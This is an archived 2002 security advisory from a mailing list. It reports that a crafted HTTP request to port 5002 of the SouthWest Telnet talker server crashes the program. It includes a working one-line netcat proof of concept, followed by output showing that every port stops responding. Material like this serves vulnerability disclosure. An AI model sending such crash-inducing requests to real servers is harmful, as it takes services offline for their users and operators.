[NT] SouthWest Telnet Server Vulnerable to a DoS

From: support@securiteam.com
Date: 03/26/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 26 Mar 2002 11:33:05 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  SouthWest Telnet Server Vulnerable to a DoS
------------------------------------------------------------------------

SUMMARY

 <http://someplaceelse.dynip.com/southwest/> SouthWest is a free Telnet
talker server for Windows. It includes full ANSI color support, a help
system, an intuitive interface, and speed optimizations. Free, full source
code is available at the company's Web site. A security vulnerability in
the product allows attackers to crash the program.

DETAILS

The server by default opens the following ports:
 * Main listening on port 5000.
 * Netlink listening on port 5001.
 * HTTP server listening on port 5002.

The vulnerability is present in the 5002 port (the HTTP server), and
occurs when a specially crafted HTTP request is received by the handling
service.

Example:
$ printf "GET /&Alex" |nc -vvn 127.0.0.1 5002
(UNKNOWN) [127.0.0.1] 5002 (?) open
sent 10, rcvd 0: NOTSOCK

$ nc -vvn 127.0.0.1 5002
(UNKNOWN) [127.0.0.1] 5002 (?): connection refused
sent 0, rcvd 0: NOTSOCK

$ nc -vvn 127.0.0.1 5000
(UNKNOWN) [127.0.0.1] 5000 (?): connection refused
sent 0, rcvd 0: NOTSOCK

$ nc -vvn 127.0.0.1 5001
(UNKNOWN) [127.0.0.1] 5000 (?): connection refused
sent 0, rcvd 0: NOTSOCK

ADDITIONAL INFORMATION

The information has been provided by <mailto:alex_hernandez@ureach.com>
Alex Hernandez.

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